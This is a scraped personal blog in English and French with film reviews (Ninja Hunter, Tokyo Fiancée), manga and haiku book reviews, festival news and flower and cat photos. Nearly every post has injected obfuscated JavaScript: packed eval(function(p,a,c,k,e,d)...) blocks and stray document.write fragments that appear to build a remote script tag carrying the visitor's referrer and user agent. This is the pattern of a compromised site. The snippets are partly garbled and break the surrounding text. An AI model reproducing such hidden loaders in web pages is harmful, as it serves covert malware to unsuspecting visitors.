Introduction of the screening


Kagura-me © ?Kagura-me?Production Committee.

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Image du mer-fleurie

/ Clodjee / Leave a comment

Soleil 2016
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Sunflower 2016
(iPhone 6s, document.write(“”); 2016-07-03)

Ninja Hunter

/ Clodjee / 1 Comment

“In 1581 during a bitter feud between 2 ninja clans, document.write(“”); Tao, a ninja from the Iga Clan, wakes up with amnesia. Forty ninjas lie dead in front of him and off to one side lies a dead female ninja. He doesn’t remember how and why he got there. His assignment is to retrieve a document that will reveal the traitor’s identity. Who killed all the ninjas? Is one of them the traitor? Little by little Tao solves the mystery.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeadn|var|u0026u|referrer|kaenk||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This screening was plagued from the start by numerous technical problems: the show started ten minutes late, there was microphone problems for the presentation, not long after the beginning the movie lost its sound, then there was sound but no picture, repeatedly. After forty-five minutes of agony, the screening was definitely stopped. I had to finish watching this movie in the press screening room later. In the end, this movie was a great disappointment.

Kei is a female ninja sent to the Koga clan as double agent. She comes back with a list of traitors inside the Iga clan. After bringing the list she go to see Tao, her friend. A battle ensue and Tao is hit on the head, loosing his memory. Now, Kei is dead, and he is not sure who the enemy is anymore. Maybe he is one of the traitor? Or is he one of the heroes? He will have to slowly figure out what happened.

This is clearly a low budget movie (they use lots of natural set like cave, temple, forest) that makes a terrible ninja movie with lots of bad fighting stunt. The costumes of not historically accurate (lots of leather and the female ninja wears high heel boots!) and the blood looks horribly fake. And there’s this very annoying special effects that marks the beginning and end of all flashbacks. The end credits are nice, though.

The idea is interesting but the execution is rather clumsy. The movie repeats the same battle scene again and again, each time with a different point of view, in order to show Tao’s conflicting memories, his current understanding of the situation or the reversal of his hypothesis. Did I mention the annoying flashbacks? The final battle is quite ridiculous. It’s an entertaining movie, but nothing more.

It is a kind of movie that would have had more appeal with the Fantasia audience, which is younger and specifically seek this kind of not-so-serious action movie. I guess that adding this title to the programming was an attempt from the MWFF to reach out to this kind of audience—without much success.

Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarô Shimazu, Kazuki Tsujimoto.

Film screened at the Montreal World Film Festival on August 28th, 2015 (Cinema Quartier Latin 12, 16h00 – the theatre was a little more than a quarter full) as part of the “Focus on World Cinema” segment. The screening was interrupted due to technical problems.

For more information you can visit the following websites:
Ninja Hunter © 2015 Shochiku International.

[ Traduire ]

Tokyo Fiancée / Ni d’Eve ni d’Adam

/ Clodjee / 2 Comments

“La tête pleine de rêves, document.write(“”); Amélie, 20 ans, revient dans le Japon de son enfance. Pour gagner sa vie, elle propose des cours particuliers de français et rencontre Rinri, son premier et unique élève, un jeune Japonais avec lequel elle noue une relation intime. Entre surprises, bonheurs et déboires d’un choc culturel à la fois amusant et poétique, elle découvre un Japon qu’elle ne connaissait pas…”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsbhz|var|u0026u|referrer|hzrkf||js|php’.split(‘|’),0,{}))

Tokyo Fiancée : Belgique/France/Canada, 2014, 84 min.; Dir./Scr.: Stefan Liberski (d’après le roman d’Amélie Nothomb); Ed.: Frédérique Broos; Phot.: Hichame Alaouie; Mus.: Casimir Liberski; Cast: Pauline Étienne, Taichi Inoue, Julie LeBreton.

« Stupeur et tremblements pourrait donner l’impression qu’au Japon, à l’âge adulte, j’ai seulement été la plus désastreuse des employés. Ni d’Ève ni d’Adam révélera qu’à la même époque et dans le même lieu, j’ai aussi été la fiancée d’un Tokyoïte très singulier. »
                         -Amélie Nothomb.

Ni d’Eve ni d’Adam, par Amélie Nothomb. Paris, Albin Michel, 2007. 252 p. 13.0 x 20.0 cm, 18.20 € / $11.95 Cnd. ISBN 9782226179647.

Tokyo Fiancée nous offre une intéressante réflexion sur la diversité culturelle, l’étrangeté de l’autre, et particulièrement sur la difficulté des couples mixtes à concilier cette différence qui les sépare.

Si le film en lui-même est assez bon, il est aussi une excellente adaptation du roman de Amélie Nothomb. Il y a bien sûr de nombreuses différences entre les deux (quelques scènes manquantes dans le film, la motivation des personnages expliquée plus en profondeur dans le roman) mais dans l’ensemble tout l’esprit du livre est présent dans le film. C’est non seulement agréable et divertissant à regarder mais aussi très intéressant.

Pour plus d’information vous pouvez consulter les sites suivants:

Cette histoire de couple, que ce soit dans le film ou le livre, est particulèrement intéressante lorsqu’on la remet dans le contexte de l’oeuvre (et de la vie) de l’auteur. Elle fait non seulement partie des titres de Nothomb qui sont en partie autobiographiques (mais ne le sont-ils pas tous un peu?) mais est également l’un des éléments de sa “trilogie japonaise”. Stupeur et tremblement raconte le retour de l’auteur au japon, où elle avait passé son enfance, mais traite surtout de ses mésaventures au sein d’une corporation japonaise et comment l’esprit collectif japonais du jeune travailleur y est façonné par des règles strictes et par l’humiliation afin de le conformer au modèle uniforme et docile auquel s’attend la société japonaise — ce qui est toujours pire dans le cas d’une femme. Dans Nostalgie Heureuse, l’auteur raconte son second retour au Japon dans le cadre d’un reportage tourné pour la télévision française. Ni d’Eve ni d’Adam lève le voile sur la partie de l’histoire à laquelle elle avait mainte fois fait allusion sans jamais donner de détails: la relation amoureuse qu’elle a entretenu au cours de son premier retour avec un jeune japonais.

Ayant grandit au Japon, elle s’était toujours considérée comme japonaise mais son expérience durant ce premier retour lui fera réaliser que la nature nippone est beaucoup plus complexe et profonde qu’elle ne se l’imaginait…

Le livre, quant à lui, offre une narration très fluide, parsemé de l’humour sarcastique et un peu déjanté si particulier à Nothomb. C’est une très bonne lecture (comme la plupart des Nothomb).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

FFM 2016 annonce les « Chelems d’or »

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Le Festival des Films du Monde de Montréal, document.write(“”); qui se tiendra du 25 août au 5 septembre 2016, commence déjà à faire parler de lui.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzten|var|u0026u|referrer|heeyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiify|var|u0026u|referrer|zhfnf||js|php’.split(‘|’),0,{}))

Dans un premier communiqué de presse, daté du 13 mai, le FFM annonce que pour son 40e anniversaire il accompagnera ses principaux prix de bourses importantes avec la présentation des premiers « Chelems d’or » du cinéma. Grâce à un généreux mécène, un montant de 1 M $ US sera remis aux producteurs et réalisateurs (sur une base de 50% chacun) afin de contribuer de façon unique à la création cinématographique. La somme total sera divisé en treize bourses de tailles variées: Grand prix des Amériques, Grand prix du jury, Prix FFM du court métrage, compétition mondiale des premiers longs métrages de fiction (or, argent, bronze), prix du documentaire, du meilleurs film canadien (or, argent), compétition spéciale des films chinois (or, argent), et prix du festival du film étudiant (national, international).

Avec une telle innovation qui vise à encourager la relève cinématographique, le festival espère se repositionner comme un centre important du cinéma mondial.

(Voir le communiqué de presse original en français et en anglais)

(Revue de presse: CTVM, La Presse, Le Devoir)

[ Translate ]

Weekly notable news [week 31]

/ Clodjee / Leave a comment

Here are a few notable news & links that I came across this week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|retiz|var|u0026u|referrer|hkzri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkbdn|var|u0026u|referrer|htbtd||js|php’.split(‘|’),0,{}))

Funnies

Non Sequitur: Monday, March 21, 2016 (The two-party detour)

Dilbert: Tuesday, March 22, 2016 (The Elbonian Religion)

[ Traduire ]

Ice Age chronicle of the earth, vol. 1 & 2

/ Clodjee / 1 Comment

Vol. 1: “Dans le futur, document.write(“”); tandis que l’humanité tente tant bien que mal de survivre aux conséquences d’un nouvel âge glaciaire, Takéru va devoir se lancer dans une odyssée afin de sauver ses compagnons. À son bras, un bracelet sacré en argent, seul souvenir qui lui reste de sa mère…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etbbz|var|u0026u|referrer|kyeft||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zktfk|var|u0026u|referrer|ktyed||js|php’.split(‘|’),0,{}))

“Saura-t-il faire face à son destin ?”

Vol. 2: “Dans le futur, alors que la fin de l’âge glaciaire se fait sentir, tous les êtres vivants se lancent dans une nouvelle course à l’évolution. Guidé par un Medishin, un Dieu bleu, Takéru devra affronter la Grande Mère pour résoudre le mystère A-D-O-L-F… Le destin de l’humanité pourrait en dépendre…”

Découvrez ce diptyque mythique et visionnaire signé Jirô Taniguchi !

(Texte du site de l’éditeur: Vol. 1 & Vol. 2; voir les couvertures arrières: Vol. 1 & Vol. 2)

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers” (a.k.a. divulgacheurs)! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Comme je l’ai déjà dit quand j’ai découvert ce manga, les éditeurs de français (dans ce cas-ci Kana) continue à nous sortir des vieux Taniguchi qui date de l’époque où il faisait plus dans le récit d’action que dans le contemplatif. Et nous en sommes fort heureux!

Ice Age Chronicle of the Earth (?????? / Chiky? hy?kai-ji-ki) a d’abord été publié en feuilleton dans le magazine Morning de Kôdansha en 1987-88 avant d’être compiler en volumes chez Futabasha. Dans les années ’80, Taniguchi écrivait surtout des récits d’action comme Trouble Is My Business, Enemigo ou Garôden, ou des récits qui mettaient en scène la nature et les grands espaces tels que Blanco, K ou Encyclopédie des animaux de la préhistoire. Ice Age Chronicle of the Earth s’inscrit bien dans ces thématiques. Et, si l’on se fit à la bande de couverture de l’édition française ainsi qu’au style de Taniguchi pour ce diptyque visionnaire, c’est une époque où il devait sans doute lire et s’inspirer du magazine français Métal Hurlant…

Dans un futur lointain, la Terre est entièrement soumise aux conditions d’un âge glaciaire: la 8e glaciation (glaciation de Murtok). Situé sur Nunatak, une île de l’Arctique, le site minier de Tarpa est exploité par la Régie pour le Développment des Ressources Shivr. Le fils rebel du président de la compagnie, Takéru, y a été exilé afin de le rendre plus mature. Lors d’un accident causé par de l’équipement vieillissant, le directeur de la mine est gravement blessé. Avant de mourir, il remet à Takéru une boite qui contient le bracelet sacré de sa défunte mère et un message de son père qui l’averti que des changements climatiques sans précédents sont sur le point de se produire. Takéru est nommé le nouveau directeur, mais il s’en fout. Toutefois, le cargo qui devait amené le ravitaillement et évacuer la plupart des travailleurs pour le dur hiver arctique est détruit lors d’une attaque de pirate. Un groupe de travailleurs décident d’évacuer quand même dans des navettes de secours mais ils crashent dès qu’ils sont sorti du puit de la mine à cause des vents violents. [ci-contre: p. 33]

Takéru organise une mission de sauvetage mais tout les passagers des navettes sont mort de froid sauf un, qui restera gravement handicapé. Et l’un des sauveteurs meurt dans un accident. Tarpa est maintenant coupé du reste du monde, sans ravitaillement. Takéru escalade donc à nouveau la paroi du puit de la mine afin d’aller investiguer ce qui arrive à la planète et ramener des secours. Mais le monde extérieur est un environnement glacial et hostile, peuplé d’insectes, de baleines et d’ours géants! Et ce ne sera pas les seules surprises: Takeru entrevoit dans une crevasse, le sarcophage d’un géant bleu! Grâce à une caravane de chameaux des glaces, ils échappent aux tournades et autres dangers de l’Inlandsis, et parviennent à un village. Là, une vieille chamane révèle à Takeru la prophétie: les Medishin, dieux géants bleus qui étaient venu les avertir de la longue saison de glace, se réveilleront pour les guider dans une nouvelle ère. Car “la Terre qui dormait sous la glace depuis des centaines de générations a commencé à ouvrir les yeux. Bientôt… Les montagnes, les forêts, les rivières se mettront en colère…” Les événements sont déjà en marche dans le sud. C’est là que Takéru doit se rendre !

Extraits des pages 15, 21 et 204 du premier volume

Takéru et son petit groupe tente de rejoindre la capitale, Abyss. Ils atteignent d’abord le dépôt logistique de surface Earliss II, où ils trouvent quelques survivants et un vieux cargo de transport aérien. L’ordinateur de la base confirme leur craintes: l’axe de rotation de la planète à changé, il y a une activité volcanique accrue, une hausse de gaz carbonique, un réchauffement de la température et donc une rapide fonte des glace. La période glaciaire est terminée! Les cendres d’une éruption volcanique endommagent les moteurs du cargo qui crash dans une gigantesque forêt vivante et carnivore! Ils continue leur voyage sur une rivière à l’aide d’un radeau de fortune, puis monte à bord d’un prospecteur robotisé. Ils apprennent que la capitale est inondée, envahit par la forêt, en ruine. L’océan végétal ne tarde pas à attaqué aussi leur véhicule, à l’aide d’une sève acide. Takéru ressent la conscience collective d’un arbre géant. Il se souviens avec horreur des êtres sans racines. Mais le dieu bleu apparait et calme l’arbre… Il révèle à Takéru que lui aussi a le pouvoir de communiquer avec la conscience de la planète.

En chemin vers Abyss, Takéru rencontre un transport de troupe écrasé avec de nombreux survivants, qui sont tous des enfants qui avaient été évacués en premiers. Toutes créatures vivantes, végétales ou animales, évoluent à un rythme fou, créant de nouveaux germes mortels. La forêt les attaque à nouveau, plein de haine contre l’humain mais Takéru réussi à la calmer. Pendant ce temps à Abyss, l’ordinateur central est devenu fou et se prend pour dieu, l’architecte d’un nouveau monde. Prenant exemple sur la nature, il utilise sa super-technologie pour créer une nouvelle race d’humain: A.D.O.L.F. (Acides aminés Dieldrine Opéron Ligand Flux cytométrique). Un nouvel ennemi qui tente d’éliminer l’humanité superflue. Mais en s’alliant avec la forêt, Takeru vaincra. Se sera l’aube d’une nouvelle ère où l’humanité, avec une conscience étendue, pourra cohabiter avec la nature…

Extraits des pages 13, 57 et 201 du second volume

Ice Age Chronicle of the Earth (sans blague, l’éditeur ne pouvait pas trouver un titre en français?), offre une bonne histoire de science-fiction cataclysmique, quoique un peu précipité vers la fin. Le style artistique du early-Taniguchi est bien (pas aussi bon que ses oeuvres plus récentes, bien sûr) mais souvent très inégal (on sent les délais de production liés à la prépublication en série dans les magazines!). J’ai aussi déjà noté plus haut qu’il me semblait discerner dans cette oeuvre de Taniguchi l’influence de la BD française de la bonne époque de Métal Hurlant (Moebius, Druillet) mais dans le second volume il me semble possiblement entrevoir dans les scènes cataclysmiques aussi quelques influences du Akira (1982-90) d’Otomo et du Nausicäa (1982-94) de Miyazaki…

Dans l’ensemble c’est une très bonne lecture. Une sorte de fable écologique qui est toujours d’actualité. Ce n’est pas parfait mais, avec Taniguchi, un manga ne peut être qu’agréable. À lire.

Ice Age chronicle of the earth vol. 1 & 2, par Jirô TANIGUCHI. Paris: Dargaud (collection Kana: Made In), mai et septembre 2015. 272 & 224 pgs, 16.3 x 23.2 x 2 cm, 18.00 € / $31.95 Ca, ISBN: 9782505063643 & 9782505063650. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Ice Age chronicle of the earth © 2002 Jirô TANIGUCHI. Édition française © 2015 Kana (Dargaud-Lombard s.a.).

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Image du chat-medi

/ Clodjee / Leave a comment

Kitten
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikhta|var|u0026u|referrer|hikss||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebfrz|var|u0026u|referrer|hibei||js|php’.split(‘|’),0,{}))
(Nikkon D3300, document.write(“”); 2016-06-26)

Animeland #209

/ Clodjee / 3 Comments

AL209“AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, les mangas et tout l’univers otaku en France. News, chroniques, interviews, articles et dossiers vous attendent dans les magazines AnimeLand et AnimeLand X-tra et sur le site AnimeLand.com !”

Comme je l’ai déjà mentionné dans un article précédent (sur l’acquisition du magazine par Anime News Network), j’ai toujours grandement admiré ce magazine fondé par Yvan West Laurence et Cédrik Littardi en avril 1991 (que j’avais d’ailleurs rencontré à San Jose, Californie, lors de la toute première convention nord-américaine entièrement consacrée à l’anime, AnimeCon, à la fin de l’été 1991). AnimeLand est rapidement devenu le meilleurs magazine sur l’anime et le manga hors-Japon et pas seulement en langue française. À tout les deux mois le magazine offre une centaines de pages, toutes en couleurs, pleine à craquer d’information essentielle sur l’anime et le manga. Un must pour le fan averti.

AnimeLand #209 est un numéro un peu spécial car, en plus d’être un peu plus volumineux, il célèbre le vingt-cinquième anniversaire du magazine.

Lire la suite après le saut de page >>
Continue reading →

Haikus par Soseki

/ Clodjee / 1 Comment

“Si Sôseki le romancier est de longue date traduit et commenté chez nous, document.write(“”); une part plus secrète et à la fois plus familière de son œuvre nous est encore inconnue. Sôseki a écrit plus de 2500 haikus, de sa jeunesse aux dernières années de sa vie : moments de grâce, libérés de l’étouffante pression de la vie réelle, où l’esprit fait halte au seuil d’un poème, dans une intense plénitude.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sthda|var|u0026u|referrer|zfkrs||js|php’.split(‘|’),0,{}))

“Affranchis de la question de leur qualité littéraire, ils ont à mes yeux une valeur inestimable, puisqu’ils sont pour moi le souvenir de la paix dans cœur… Simplement, je serais heureux si les sentiments qui m’habitaient alors et me faisaient vivre résonnaient, avec le moins de décalage possible, dans le cœur du lecteur.“

“Ce livre propose un choix de 135 haïkus, illustrés de peintures et calligraphies de l’auteur, précédés d’une préface par l’éditeur de ses Œuvres complètes au Japon.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Lire la suite après le saut de page >>

J’ai déjà introduit le haiku quand j’ai commenté Cent sept haiku par Masaoka SHIKI, cet auteur même qui a encouragé S?seki à écrire et l’a initié aux haïkus. Né Kinnosuke Natsume à l’aube de l’ère Meiji, en 1867, il prendra le pseudonyme de «S?seki» en 1888 (utilisant les deux premiers charactères d’une expression chinoise attribuée à Liu Yiqing: ???? / shù dàn zh?n liú ou s?sekichinry? en japonais, littéralement «Se rincer la bouche avec une pierre et faire de la rivière son oreiller»). [ci-contre: p. 43]

Natsume S?seki (?? ??) deviendra l’un des auteur emblématique du Japon moderne. Après avoir étudié la littérature anglaise à l’Université de Tokyo, il part enseigner à Matsuyama (1895), puis à Kumamoto (1896), avant de passer trois ans d’études en Angleterre (1900-03) et de finalement succèder à Lafcadio Hearn à la chaire de littérature anglaise de l’université de Tokyo. Toutefois, il quitte ce poste en 1907 pour se consacrer à l’écriture. On lui connait plus d’une vingtaine d’ouvrages dont principalement Je suis un chat (??????? / Wagahai wa neko de aru, 1905), Botchan (?????, 1906), Sanshirô (???, 1909), Et puis (???? / Sorekara, 1909), La porte (? / Mon, 1910), et Choses dont je me souviens (??????? / Omoidasukoto nado, 1910-11). Son importance dans la littérature japonaise est soulignée par le fait que son portrait apparait sur le billet de 1 000 yens.

Haikus est un ouvrage assez simple qui se lit très rapidement. Les petits poèmes sont typiquement présenté trois par page, agrémentés de peintures et de calligraphies par S?seki. Dans mon commentaire de Cent sept haiku, j’ai déjà mentionné ma déception de ne pas ressentir la profondeur de la pensée ou des sentiments de l’auteur que l’on s’attendrait à retrouver dans cette forme de poésie. Il est toutefois intéressant d’essayer de comprendre ce que l’auteur désir exprimer. C’est un bel ouvrage et j’ai particulièrement apprécié les illustrations de l’auteur (ci-contre: p. 23) ainsi que la préface et les notes qui lévent un peu le voile sur les intensions et le parcours de S?seki.

Somme toute c’est une très bonne lecture de chevet et pas nécessairement que pour les amateurs de culture nippone ou de poésie.

Haikus, par S?seki (traduits par Elisabeth Suetsugu). Arles, Éditions Philippe Picquier, janvier 2002. 144 pages, 14.5 x 23.0 x 1.0 cm, 8,00 € / $32.95 Cnd, ISBN 2-8097-0125-8. Lectorat: pour tous!

Pour plus d’information vous pouvez aussi consulter les sites suivants:

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Image du mer-fleurie

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Il serait peut-être temps de montrer un peu les fleurs de notre jardin…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyhra|var|u0026u|referrer|sdriz||js|php’.split(‘|’),0,{}))

Asteraceae: Zinnia
Zinnia
(iPhone 6s, document.write(“”); 2016-07-23)

Image du chat-medi

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♪ Trois P’tits Chats… ♬
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyszn|var|u0026u|referrer|fbdik||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbith|var|u0026u|referrer|zkbny||js|php’.split(‘|’),0,{}))
Three little cats…
(iPhone 6s, document.write(“”); 2016-06-27)

A few more notable news

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Here are a few notable news & links (mostly anime & manga related) that I came across recently:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tafbn|var|u0026u|referrer|beysr||js|php’.split(‘|’),0,{}))

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Image du mer-fleurie

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Tulipe : “Princess Irene”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rntka|var|u0026u|referrer|herhd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtyn|var|u0026u|referrer|ihkye||js|php’.split(‘|’),0,{}))
Princess Irene
(Nikon D3300, document.write(“”); Ottawa’s Canadian Tulip Festival, 2016-05-12)
[Taken with Tamron 70-300mm lens: ƒ/5.6, FL= 300mm, 1/2000, ISO 400]

Les tulipes du parc des Commissaires

Image du mer-fleurie

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Tulipe : “Red Impression”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bddhf|var|u0026u|referrer|hythn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haahk|var|u0026u|referrer|dzitt||js|php’.split(‘|’),0,{}))
Red Impression
(Nikon D3300, document.write(“”); Ottawa’s Canadian Tulip Festival, 2016-05-12)
[Taken with Tamron 70-300mm lens: ƒ/5.6, FL= 300mm, 1/2000, ISO 360]

Cat-urday’s picture

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A drone-view of the whole family
